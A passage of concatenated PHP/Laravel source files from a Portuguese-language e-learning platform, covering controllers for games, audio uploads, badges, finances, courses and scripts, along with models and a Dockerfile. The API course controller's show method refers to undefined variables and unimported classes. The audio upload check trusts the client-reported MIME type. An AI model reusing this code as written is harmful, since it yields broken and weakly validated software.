$categoria)->first()->id; } } if(Input::get('pesquisa') == null || Input::get('pesquisa') == "") { $pesquisa = null; if($categoria != null) { $aplicacoes = Aplicacao::with('categoria')->take($amount)->where(function ($query) { $query->where('data_lancamento', '=', null)->orWhere('data_lancamento', '<=', date('Y-m-d H:i:s')); })->where([['status', '=', '1'], ['categoria_id', '=', $categoria]]); $aplicacoes = $aplicacoes->orWhere([['status', '=', '1'], ['tags', 'like', '%' . Categoria::find($categoria)->titulo . '%']]); } elseif(Input::get('marcador') != null && Input::get('marcador') != "") { $aplicacoes = Aplicacao::with('categoria')->take($amount)->where(function ($query) { $query->where('data_lancamento', '=', null)->orWhere('data_lancamento', '<=', date('Y-m-d H:i:s')); })->where([['status', '=', '1'], ['categoria_id', '=', $categoria]]); $aplicacoes = $aplicacoes->orWhere([['status', '=', '1'], ['tags', 'like', '%' . Input::get('marcador') . '%']]); } else { $aplicacoes = Aplicacao::with('categoria')->take($amount)->where(function ($query) { $query->where('data_lancamento', '=', null)->orWhere('data_lancamento', '<=', date('Y-m-d H:i:s')); })->where([['status', '=', '1']]); } } else { $aplicacoes = Aplicacao::with('categoria')->take($amount)->where([['status', '=', '1'], ['titulo', 'like', '%' . Input::get('pesquisa') . '%']]) ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); } // $aplicacoes = $aplicacoes->orderBy('data_publicacao', 'desc'); if($ordem == 'recentes') { $aplicacoes = $aplicacoes->orderBy('created_at', 'desc'); $ordem = "Mais recentes"; } elseif($ordem == 'antigos') { $aplicacoes = $aplicacoes->orderBy('created_at', 'asc'); $ordem = "Mais antigos"; } elseif($ordem == 'alfabetica') { $aplicacoes = $aplicacoes->orderBy('titulo', 'asc'); $ordem = "Ordem Alfabética"; } $destaques = $aplicacoes; $aplicacoes = $aplicacoes->paginate($amount); $destaques = $destaques->where('destaque', '=', 1)->take(5)->get(); // Preencher destaques se menos que o minimo para o carrousel // if(count($destaques) < 5) // { // $maisDestaques = $aplicacoes->take(5 - count($destaques)); // $destaques = $destaques->merge($maisDestaques); // } $categorias = Categoria::where([['tipo', '=', 3]])->take(12)->orderBy('titulo', 'asc')->get(); $marcadores = []; foreach ($aplicacoes as $aplicacao) { if($aplicacao->capa == "") { $aplicacao->capa = str_replace(".swf", ".png", $aplicacao->arquivo); // $aplicacao->capa = 'image' . $aplicacao->id . '.png'; } } foreach (Aplicacao::groupBy('tags')->pluck('tags') as $tags) { if($tags != null) { foreach ($tags as $tag) { if(!in_array($tag, $marcadores) && !$categorias->contains('titulo', $tag)) { array_push($marcadores, $tag); } } } } // dd($marcadores); return view('hub.index')->with( compact('aplicacoes', 'pesquisa', 'amount', 'ordem', 'categorias', 'marcadores', 'destaques') ); } public function aplicacao($idAplicacao) { $aplicacao = Aplicacao::with('categoria')->find($idAplicacao); if($aplicacao == null) { \Session::flash('warning', 'Aplicação não encontrada.'); return redirect()->route('hub.index'); } if(!\Storage::disk('public_uploads')->has('aplicacoes/' . $aplicacao->id) || ($aplicacao->status == 0 && Auth::user()->permissao != "Z")) { \Session::flash('warning', 'Aplicação não encontrada.'); return redirect()->route('hub.index'); } Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => 'Visualizar aplicação - ' . $aplicacao->id ]); $relacionados = Aplicacao::where([['id', '!=', $aplicacao->id], ['categoria_id', '=', $aplicacao->categoria_id]])->get(); return view('hub.aplicacao')->with( compact('aplicacao', 'relacionados') ); } public function playAplicacao($idAplicacao) { $aplicacao = Aplicacao::find($idAplicacao); if($aplicacao == null) { \Session::flash('warning', 'Aplicação não encontrada.'); return redirect()->route('hub.index'); } if(!\Storage::disk('public_uploads')->has('aplicacoes/' . $aplicacao->id) || ($aplicacao->status == 0 && Auth::user()->permissao != "Z")) { \Session::flash('warning', 'Aplicação não encontrada.'); return redirect()->route('hub.index'); } Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => 'Jogar aplicação - ' . $aplicacao->id ]); return view('hub.aplicacao-play')->with( compact('aplicacao') ); } public function ultimaAplicacao() { if(Metrica::where([['user_id', '=', Auth::user()->id], ['titulo', 'like', 'Jogar aplicação%']])->first() != null) { $idUltimaAplicacao = str_replace('Jogar aplicação - ', "", Metrica::where([['user_id', '=', Auth::user()->id], ['titulo', 'like', 'Jogar aplicação - %']])->first()->titulo); return redirect()->route('aplicacao', ['idAplicacao' => $idUltimaAplicacao]); } else { \Session::flash('error', 'Você não acessou nenhum aplicação recentemente.'); return redirect()->route('hub.index'); } } } <file_sep>/app/Http/Controllers/Catalogo/Alunos/CatalogoController.php <?php namespace App\Http\Controllers\Catalogo\Alunos; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class CatalogoController extends Controller { public function index() { return view('pages.catalogo.alunos.index'); } } <file_sep>/app/Http/Controllers/Audio/Admin/AudioController.php <?php namespace App\Http\Controllers\Audio\Admin; use Illuminate\Support\Facades\Input; use App\Categoria; use App\Entities\Audio\Audio; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; class AudioController extends Controller { public function index() { $audios = Audio::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $audios->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%') ->orWhere('descricao', 'like', '%' . Input::get('pesquisa') . '%'); }); $audios = $audios ->where('user_id', Auth::user()->id) ->orderBy('id', 'DESC') ->get(); $categorias = Categoria::where('tipo', 5)->select('id', 'titulo')->get(); return view('pages.audios.admin.index', compact('categorias', 'audios')); } public function store(Request $request) { $mimesTypesValidation = ['audio/mp3', 'audio/wav']; $sizeValidation = 5000000; $this->validate($request, ['titulo' => 'required', 'categoria_id' => 'required', 'file' => 'required']); $file = $request->file('file'); if (array_search($file->getClientMimeType(), $mimesTypesValidation) === false) { return redirect()->route('gestao.audios.listar')->withErrors(['Arquivo não aceito.']); } if ($file->getClientSize() > $sizeValidation) { return redirect()->route('gestao.audios.listar')->withErrors(['Arquivo muito grande!']); } $fileExtension = \File::extension($request->file->getClientOriginalName()); $newFileNameAudio = md5($request->file->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathFile = $request->file->storeAs('audios/user_id_' . Auth::user()->id, $newFileNameAudio, 'public_uploads'); if (!Storage::disk('public_uploads')->put($pathFile, file_get_contents($request->file))) { \Session::flash('middle_popup', 'Ops! Não foi possivel enviar seu áudio.'); \Session::flash('popup_style', 'danger'); } Audio::create([ 'user_id' => Auth::user()->id, 'categoria_id' => $request->get('categoria_id'), 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'file' => $newFileNameAudio, 'duracao' => $request->get('duracao') ]); return redirect()->route('gestao.audios.listar')->with('message', 'Áudio cadastrado com sucesso!'); } public function update(Request $request, $idAudio) { $mimesTypesValidation = ['audio/mp3', 'audio/wav']; $sizeValidation = 5000000; $this->validate($request, ['titulo' => 'required']); $file = $request->get('audio_atual'); if ($request->file) { if (array_search($request->file->getClientMimeType(), $mimesTypesValidation) === false) { return redirect()->route('gestao.audios.listar')->withErrors(['Arquivo não aceito.']); } if ($request->file->getClientSize() > $sizeValidation) { return redirect()->route('gestao.audios.listar')->withErrors(['Arquivo muito grande!']); } if (Storage::disk('public_uploads')->has('audios/user_id_' . Auth::user()->id . '/' . $file)) { Storage::disk('public_uploads')->delete('audios/user_id_' . Auth::user()->id . '/' . $file); } $fileExtension = \File::extension($request->file->getClientOriginalName()); $file = md5($request->file->getClientOriginalName() . date("Y-m-d H:i:s") . time()) . '.' . $fileExtension; $pathFile = $request->file->storeAs('audios/user_id_' . Auth::user()->id, $file, 'public_uploads'); if (!Storage::disk('public_uploads')->put($pathFile, file_get_contents($request->file))) { \Session::flash('middle_popup', 'Ops! Não foi possivel enviar seu áudio.'); \Session::flash('popup_style', 'danger'); } } $audio = Audio::find($idAudio); $r = $audio->update([ 'categoria_id' => $request->get('categoria_id'), 'titulo' => $request->get('titulo'), 'descricao' => $request->get('descricao'), 'file' => $file, 'duracao' => $request->get('duracao') ]); return redirect()->route('gestao.audios.listar')->with('message', 'Áudio atualizado com sucesso!'); } public function destroy($idAudio) { $audio = Audio::find($idAudio); if (!$audio) { return redirect()->back()->withErrors(['Áudio não encontrado!']); } if (Storage::disk('public_uploads')->has('audios/user_id_' . Auth::user()->id . '/' . $audio->file)) { Storage::disk('public_uploads')->delete('audios/user_id_' . Auth::user()->id . '/' . $audio->file); } if ($audio->albuns->toArray() != null) { $audio->albuns()->detach(); } if ($audio->playlists->toArray() != null) { $audio->playlists()->detach(); } $audio->delete(); return redirect()->route('gestao.audios.listar')->with('message', 'Áudio excluido com sucesso!'); } } <file_sep>/app/Http/Controllers/API/InstructorController.php <?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\User; class InstructorController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { try { $users = User::where('permissao', 'P') ->with(['albuns' => function ($query) { $query->select('albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id', 'albums.created_at'); }])->select('users.id', 'users.name', 'users.email', 'users.img_perfil', 'users.descricao') ->get(); return response()->json(["data" => $users]); } catch (\Exception $exception) { return response()->json(['error' => true, 'message:' => $exception->getMessage()], 500); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { try { $user = User::where('id', $id)->where('permissao', 'P') ->with(['albuns' => function ($query) { $query->select('albums.id', 'albums.titulo', 'albums.capa as url', 'albums.descricao', 'albums.categoria', 'albums.user_id as artist', 'albums.user_id', 'albums.created_at'); }]) ->select('users.id', 'users.name', 'users.email', 'users.img_perfil', 'users.descricao') ->first(); if (!empty($user)) { return response()->json(["data" => $user]); } else { return response()->json(["error" => true, "message" => "Erro ao encontrar instrutor"], 404); } } catch (\Exception $exception) { return response()->json(['error' => true, 'message:' => $exception->getMessage()], 500); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep>/app/ProgressoConteudo.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class ProgressoConteudo extends Model { protected $table = 'progresso_conteudo'; //Preenchiveis protected $fillable = [ 'conteudo_id', 'user_id', 'tipo', 'progresso', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'tipo' => 1, 'progresso' => 0 ]; // Tipos de conteudo // 1 = Aplicação ( Jogos ) // 2 = Conteudo ( Vídeos, documentos, slides etc) public function aplicacao() { return $this->belongsTo('App\Aplicacao', 'conteudo_id'); } public function conteudo() { return $this->belongsTo('App\Conteudo', 'conteudo_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Http/Controllers/Badges/Admin/BadgesController.php <?php namespace App\Http\Controllers\Badges\Admin; use App\Entities\Badges\Repository as Badge; use App\Entities\Users\Repository as User; use App\Generals\Upload\Upload; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; class BadgesController extends Controller { private $badge; private $user; private $upload; public function __construct(Badge $badge, User $user, Upload $upload) { $this->badge = $badge; $this->user = $user; $this->upload = $upload; } // listar todas as badges public function index() { $badges = $this->badge->all(); $alunos = $this->user->getAll('A'); return view('pages.badges.admin.index', compact('badges', 'alunos')); } // Gravar uma nova badge public function store(Request $request) { // Faz a validação do campo título como obrigatório. $this->validate($request, [ 'titulo' => 'required' ]); // recupera os valores dos inputs $values = $request->all(); // recupera id do usuário logado que está cadastrando a badge $values['user_id'] = Auth::user()->id; // verifica se a pessoa fez o envio de um ícone para a badge if ($request->file('icone')) { $file = $request->file('icone'); $fileName = $this->upload->makeResize($file, 400, 'badges/capas'); $values['icone'] = $fileName; if ($fileName == false) { return \Session::flash('error', 'Não foi possível fazer upload de seu conteúdo!'); } } $this->badge->store($values); return redirect()->route('gestao.badges.listar')->with('message', 'Badge cadastrada com sucesso!'); } public function update($idBadge, Request $request) { // Faz a validação do campo título como obrigatório. $this->validate($request, [ 'titulo' => 'required' ]); $this->badge->update($idBadge, $request->all()); return redirect()->route('gestao.badges.listar')->with('message', 'Badge atualizada com sucesso!'); } // Atualiza o ícone de uma badge public function updateIconBadge($idBadge, Request $request) { // Verifica se já existe um ícone para esta badge, se exitir, deleta a imagem antiga antes de realizar o novo upload if ($request->get('oldIcon') !== null) { Storage::disk('public_uploads')->delete('badges/capas/' . $request->get('oldIcon')); } $file = $request->file('icone'); $fileName = $this->upload->makeResize($file, 400, 'badges/capas'); if ($fileName == false) { return \Session::flash('error', 'Não foi possível fazer upload de seu conteúdo!'); } $this->badge->update($idBadge, ['icone' => $fileName]); return redirect()->route('gestao.badges.listar')->with('message', 'Ícone atualizado com sucesso!'); } // Deletar badge selecionada public function delete(Request $request) { // verifica se existe algum ícone relacionada a esta badge $badgeIcon = $this->badge->find($request->idBadge)->icone; if ($badgeIcon !== null) { Storage::disk('public_uploads')->delete('badges/capas/' . $badgeIcon); } $this->badge->delete($request->idBadge); return redirect()->route('gestao.badges.listar')->with('message', 'Badge excluída com sucesso!'); } } <file_sep>/app/Http/Controllers/FinanceiroController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use App\User; use App\HelperClass; use App\Transacao; use App\ProdutoTransacao; use Auth; class FinanceiroController extends Controller { public function index() { if(Input::get('qt') == null) $amount = 10; else $amount = Input::get('qt'); $transacoes = Transacao::with('user', 'produtos')->orderBy('created_at', 'desc')->get(); foreach ($transacoes as $transacao) { switch ($transacao->status) { case 2: $transacao->status_name = "Processando pagamento"; break; case 3: $transacao->status_name = "Paga"; break; case 4: $transacao->status_name = "Concluída"; break; case 5: $transacao->status_name = "Em disputa"; break; case 6: $transacao->status_name = "Devolvida"; break; case 7: $transacao->status_name = "Cancelada"; break; case 8: $transacao->status_name = "Debitado"; break; case 9: $transacao->status_name = "Retenção temporária"; break; default: $transacao->status_name = "Aguardando pagamento"; break; } } $saldoReceber = Transacao::where('status', '<', 3)->sum('total'); $saldoDisponivel = Transacao::where('status', '=', 3)->orWhere('status', '=', 4)->sum('total'); $totalFaturado = Transacao::where('status', '<', 5)->sum('total'); return view('dashboard.financeiro')->with(compact('amount', 'transacoes', 'saldoReceber', 'saldoDisponivel','totalFaturado')); } } <file_sep>/app/Http/Controllers/API/PanelController.php <?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Storage; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\Badge; use App\BadgeUsuario; use App\Categoria; use App\Conteudo; use App\AvaliacaoInstrutor; use App\Metrica; use App\Curso; use App\CursoCompleto; use App\ConteudoCompleto; use App\Aula; use App\ConteudoAula; use App\Http\Controllers\Controller; use Tymon\JWTAuth\Exceptions\JWTException; use Tymon\JWTAuth\Facades\JWTAuth; class PanelController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $user = JWTAuth::toUser(); $concluidos = CursoCompleto::with('curso')->has('curso')->where([['user_id', '=', $user->id]])->get(); $ultimos = ConteudoCompleto::with('curso')->has('curso')->where([['user_id', '=', $user->id]])->orderBy('created_at', 'desc')->get(); $ultimos = $ultimos->unique(function ($item) { return $item->curso->id; }); $continuar = null; foreach ($ultimos as $key => $ultimo) { $total_conteudos = Conteudo::whereHas('conteudo_aula', function ($query) use ($ultimo) { $query->where([['curso_id', '=', $ultimo->curso->id], ['obrigatorio', '=', '1']]); })->count(); // if(Conteudo::where([['curso_id', '=', $ultimo->curso->id], ['obrigatorio', '=', '1']])->count() > 0) if($total_conteudos > 0) { $ultimo->progresso = number_format((ConteudoCompleto::where([['user_id', '=', $user->id], ['curso_id', '=', $ultimo->curso->id]])->count() * 100) / $total_conteudos, 2); } else { $ultimo->progresso = 0; } if($ultimo->progresso > 100) $ultimo->progresso = 100; if($ultimo->progresso < 100 && $continuar == null) { $continuar = $ultimo; } } if($continuar != null) { $ultimo->qtAulas = Aula::where('curso_id', '=', $ultimo->curso->id)->count(); foreach (Aula::where('curso_id', '=', $ultimo->curso->id)->orderBy('id', 'asc')->get() as $key => $aula) { if(ConteudoCompleto::where([['user_id', '=', $user->id], ['curso_id', '=', $ultimo->curso->id], ['aula_id', '=', $aula->id]])->count() >= ConteudoAula::where([['curso_id', '=', $ultimo->curso->id], ['obrigatorio', '=', '1'], ['aula_id', '=', $aula->id]])->count()) { continue; } else { $ultimo->ultimaAula = ($key + 1); foreach (ConteudoAula::where([['curso_id', '=', $ultimo->curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem', 'asc')->get() as $key2 => $conteudo) { if(ConteudoCompleto::where([['user_id', '=', $user->id], ['curso_id', '=', $ultimo->curso->id], ['aula_id', '=', $aula->id], ['conteudo_id', '=', $conteudo->id]])->first() != null) { continue; } else { $ultimo->ultimoConteudo = ($key2 + 1); $ultimo->qtConteudos = ConteudoAula::where([['curso_id', '=', $ultimo->curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem', 'asc')->count(); break; } } break; } } } return response()->json( array("ultimos" => $ultimos, "continuar" => $continuar, "concluidos" => $concluidos) ); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep>/app/Entities/Playlist/PlaylistAudio.php <?php namespace App\Entities\Playlist; use Illuminate\Database\Eloquent\Model; class PlaylistAudio extends Model { protected $table = "playlist_audios"; //Preenchiveis protected $fillable = [ 'playlist_id', 'audio_id' ]; } <file_sep>/app/Http/Controllers/Roteiros/Api/RoteirosApiController.php <?php /* namespace App\Http\Controllers\Roteiros\Api; use App\Entities\Roteiro\Roteiro; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class RoteiroApiController extends Controller { public function listar($filter = null) { try { if ($filter !== null) { return response()->json(Roteiro::where('categoria_id', $filter)->orderBy('id', 'DESC')->get()); } return response()->json(Roteiro::orderBy('id', 'DESC')->get()); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao listar.", "message:" => $exception->getMessage()]); } } public function show($idRoteiro) { try { $Roteiro = Roteiro::find($idRoteiro); if (!$Roteiro) { return response()->json(['error' => 'Nenhum áudio foi encontrado']); } return response()->json($Roteiro); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao encontrar", "message:" => $exception->getMessage()]); } } } <file_sep>/app/Http/Controllers/Roteiros/Admin/RoteirosController.php <?php namespace App\Http\Controllers\Roteiros\Admin; use Illuminate\Support\Facades\Input; use App\Entities\Roteiros\Roteiros; use App\Entities\Roteiros\RoteirosTopico; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; class RoteirosController extends Controller { public function index(Request $request) { $roteiros = Roteiros::query(); $tem_pesquisa = Input::has('pesquisa') ? (Input::get('pesquisa') != null && Input::get('pesquisa') != "") : false; $roteiros->when($tem_pesquisa, function ($query) { return $query ->where('titulo', 'like', '%' . Input::get('pesquisa') . '%'); }); $is_admin = strtoupper(Auth::user()->permissao) == "Z"; $roteiros->when($is_admin == false, function ($query) { return $query->where('user_id', '=', Auth::user()->id); }); $roteiros = $roteiros ->orderBy('id', 'DESC') ->get(); foreach($roteiros as $r) { $topicosAtivos = 0; $topicosInativos = 0; $r->topicos->topicosAtivos = $topicosAtivos; $r->topicos->topicosInativos = $topicosInativos; foreach($r->topicos as $t) { if($t->status == 1) { $r->topicos->topicosAtivos++; } else { $r->topicos->topicosInativos++; } } } return view('pages.roteiros.admin.index', compact('roteiros')); } public function store(Request $request) { $roteiro = Roteiros::create([ 'user_id' => Auth::user()->id, 'titulo' => $request->get('titulo'), ]); $roteiro->save(); $lastInsertedId = $roteiro->id; if($request->get('topico')) { foreach($request->get('topico') as $t) { $topicos = RoteirosTopico::create([ 'titulo' => $t['titulo'], 'roteiro_id' => $lastInsertedId, 'status' => 0 ]); } } return redirect('gestao/roteiros')->with('success', 'Roteiro cadastrado com sucesso!'); } public function view(Request $request, $idRoteiro) { $roteiro = Roteiros::find($idRoteiro); } public function update(Request $request, $idRoteiro) { $roteiro = Roteiros::find($idRoteiro); // atualiza $roteiro->update([ 'titulo' => $request->get('titulo') ]); $roteiro->topicos()->delete(); if($request->get('topico')) { foreach($request->get('topico') as $t) { $tituloRoteiro = $t['titulo']; $statusTopico = isset($t['status']) ? ($t['status'] == 1 ? 1 : 0) : 0; $topicos = RoteirosTopico::create([ 'titulo' => $tituloRoteiro, 'roteiro_id' => $idRoteiro, 'status' => $statusTopico ]); } } return redirect('gestao/roteiros')->with('message', 'Roteiro atualizado com sucesso!'); } public function ajaxUpdateStatusTopico(Request $request) { $idTopico = $request->post('id'); $statusTopico = $request->post('status'); $update = RoteirosTopico::find($idTopico)->update(['status' => $statusTopico]); return $statusTopico; } public function destroy($idRoteiro) { $roteiro = Roteiros::find($idRoteiro); if (!$roteiro) { return redirect()->back()->withErrors(['Roteiro não encontrado!']); } $roteiro->topicos()->delete(); $roteiro->delete(); return redirect('gestao/roteiros')->with('message', 'Roteiro excluído com sucesso!'); } } <file_sep>/app/Entities/TesteNivelamento/TesteNivelamentoQuestao.php <?php namespace App\Entities\TesteNivelamento; use App\Entities\Questoes\Questoes; use Illuminate\Database\Eloquent\Model; class TesteNivelamentoQuestao extends Model { protected $table = "teste_nivelamento_questao"; //Preenchiveis protected $fillable = [ 'teste_id', 'questao_id', 'peso' ]; public function questao() { return $this->belongsTo(Questoes::class, 'questao_id'); } } <file_sep>/app/Entities/HabilidadeUsuario/Repository.php <?php namespace App\Entities\HabilidadeUsuario; use App\Entities\HabilidadeUsuario\HabilidadeUsuario; use Illuminate\Support\Facades\Auth; class Repository { private $habilidadeusuario; public function __construct(HabilidadeUsuario $habilidadeUsuario) { $this->habilidadeusuario = $habilidadeUsuario; } public function all() { return $this->habilidadeusuario->with('habilidade')->where('user_id', Auth::user()->id)->get(); } } <file_sep>/docker/app/Dockerfile FROM php:7.2-fpm-alpine LABEL maintainer "Edulabzz" RUN echo "http://dl-cdn.alpinelinux.org/alpine/edge/community" >> /etc/apk/repositories RUN apk update && apk --no-cache add \ build-base \ git \ shadow \ icu-dev \ libzip-dev \ freetype \ libpng \ libjpeg-turbo \ freetype-dev \ libpng-dev \ libjpeg-turbo-dev \ zip \ nodejs \ npm \ g++ RUN docker-php-ext-configure gd \ --with-gd \ --with-freetype-dir=/usr/include/ \ --with-png-dir=/usr/include/ \ --with-jpeg-dir=/usr/include/ RUN docker-php-ext-install \ pdo_mysql \ mysqli \ zip \ intl \ gd # Copy composer COPY --from=composer:latest /usr/bin/composer /usr/bin/composer # Copy application files (Files are changed between builds so docker cache won't be used for subsequent layers) COPY . /opt/jpiaget WORKDIR /opt/jpiaget EXPOSE 80 CMD /opt/jpiaget/docker/app/start.sh<file_sep>/app/BadgeUsuario.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class BadgeUsuario extends Model { protected $table = 'badge_usuario'; //Preenchiveis protected $fillable = [ 'badge_id', 'user_id', ]; public function badge() { return $this->belongsTo('App\Badge', 'badge_id'); } public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/EnderecoUser.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class EnderecoUser extends Model { protected $table = 'endereco_user'; protected $primaryKey = 'user_id'; //Preenchiveis protected $fillable = [ 'user_id', 'cep', 'uf', 'cidade', 'bairro', 'logradouro', 'numero', 'complemento', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'cidade' => '', 'bairro' => '', 'logradouro' => '', ]; public function user() { return $this->belongsTo('App\User', 'user_id'); } } <file_sep>/app/Http/Controllers/API/CursoController.php <?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class CursoController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { if(is_numeric($idCurso)) { if(Curso::find($idCurso) != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user', 'topicos')->where([['id', '=', $idCurso]])->first(); // $curso = Curso::with('aulas', 'user', 'avaliacoes_user')->where([['escola_id', '=', $escola->id], ['id', '=', $idCurso]])->first(); } } else { // Verificação comentada, apenas usada se o titulo for codificado com traços ao inves de espaços // if(Curso::where('titulo', '=', str_replace('-', ' ', $idCurso))->first() != null) if(Curso::where('titulo', '=', $idCurso)->first() != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user', 'topicos')->where([['escola_id', '=', $escola->id], ['titulo', '=', $idCurso]])->first(); } elseif(is_numeric( substr(strrchr($idCurso, "-"), 1) )) { if(Curso::find(substr(strrchr($idCurso, "-"), 1)) != null) { $temp = Curso::find(substr(strrchr($idCurso, "-"), 1)); $tempTitulo = mb_strtolower($temp->titulo . '-' . $temp->id, 'utf-8'); if($tempTitulo == $idCurso) { $curso = Curso::find(substr(strrchr($idCurso, "-"), 1)); } } } } // dd(count(array_filter(Session::get('carrinho'), function($k) use ($curso) { return ($k->tipo == 2 && $k->id == $curso->id); }))); if(isset($curso) ? ($curso == null) : (true)) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } if($curso->status != 1) { if(Auth::check() ? (strtolower(Auth::user()->permissao) != "z" && $curso->user_id != Auth::user()->id) : true) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } else { Session::flash('previewMode', true); } } if($curso->senha != "" && $curso->senha != null) { if(Session::has('senhaCurso'. $curso->id)) { if(Session::get('senhaCurso'. $curso->id) != $curso->senha) { Session::forget('senhaCurso'. $curso->id); return Redirect::back()->withErrors(['Senha do curso inválida!']); } } else { // if($curso->escola_id != 1) // { // // return Redirect::route('curso.trancado', ['escola_id' => $curso->escola_id, 'idCurso' => $curso->id]); // } // else { return Redirect::route('curso.trancado', ['idCurso' => $curso->id]); } } } $curso->duracao = 0; foreach ($curso->aulas as $key => $aula) { // $aula->conteudos = Conteudo::where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem', 'asc')->get(); $aula->conteudos = Conteudo:: with('conteudo_aula') ->whereHas('conteudo_aula', function ($query) use ($curso, $aula) { $query->where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]]); }) // ->orderBy('ordem', 'asc') ->get() ->sortBy('conteudo_aula.ordem'); $aula->conteudos = Conteudo::detalhado($aula->conteudos); $aula->duracao = Conteudo:: whereHas('conteudo_aula', function ($query) use ($curso, $aula) { $query->where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]]); }) ->sum('duracao'); if($aula->duracao == 0) { $aula->duracao = count($aula->conteudos) * 120; } $curso->duracao += $aula->duracao; if($aula->duracao > 60) { $horas = floor($aula->duracao / 60); $minutos = number_format((($aula->duracao / 60) - $horas) * 60, 0); $aula->duracao = $horas . ':' . ($minutos < 10 ? '0' . $minutos : $minutos); } else { $aula->duracao = '00:' . ($aula->duracao < 10 ? '0' . $aula->duracao : $aula->duracao); } } if($curso->duracao > 60) { $horas = floor($curso->duracao / 60); $minutos = number_format((($curso->duracao / 60) - $horas) * 60, 0); $curso->duracao = $horas . ':' . ($minutos < 10 ? '0' . $minutos : $minutos); } else { $curso->duracao = '00:' . ($curso->duracao < 10 ? '0' . $curso->duracao : $curso->duracao); } if(AvaliacaoCurso::where('curso_id', '=', $curso->id)->avg('avaliacao') > 0) $curso->avaliacao = AvaliacaoCurso::where('curso_id', '=', $curso->id)->avg('avaliacao'); else $curso->avaliacao = 5; if(AvaliacaoInstrutor::where('instrutor_id', '=', $curso->user_id)->avg('avaliacao') > 0) $curso->user->avaliacao = AvaliacaoInstrutor::where('instrutor_id', '=', $curso->user_id)->avg('avaliacao'); else $curso->user->avaliacao = 5; if(AvaliacaoEscola::where('escola_id', '=', $curso->escola_id)->avg('avaliacao') > 0) $curso->avaliacao_escola = AvaliacaoEscola::where('escola_id', '=', $curso->escola_id)->avg('avaliacao'); else $curso->avaliacao_escola = 5; Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => 'Visualização curso - ' . $curso->id ]); $curso->visualizacoes = Metrica::where('titulo', '=', 'Visualização curso - ' . $curso->id)->count(); $matricula = Auth::check() ? Matricula::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id]])->first() : null; $curso->transacoes = null; $curso->statusPagamento = null; if(Auth::check()) { $curso->transacoes = collect(); foreach (ProdutoTransacao::where([['user_id', '=', Auth::user()->id], ['produto_id', '=', $curso->id]])->get() as $produto) { if(Transacao::where('referencia_id', $produto->transacao_id)->first() != null) { $curso->transacoes->push( Transacao::where('referencia_id', $produto->transacao_id)->first() ); } } // dd(ProdutoTransacao::where([['user_id', '=', 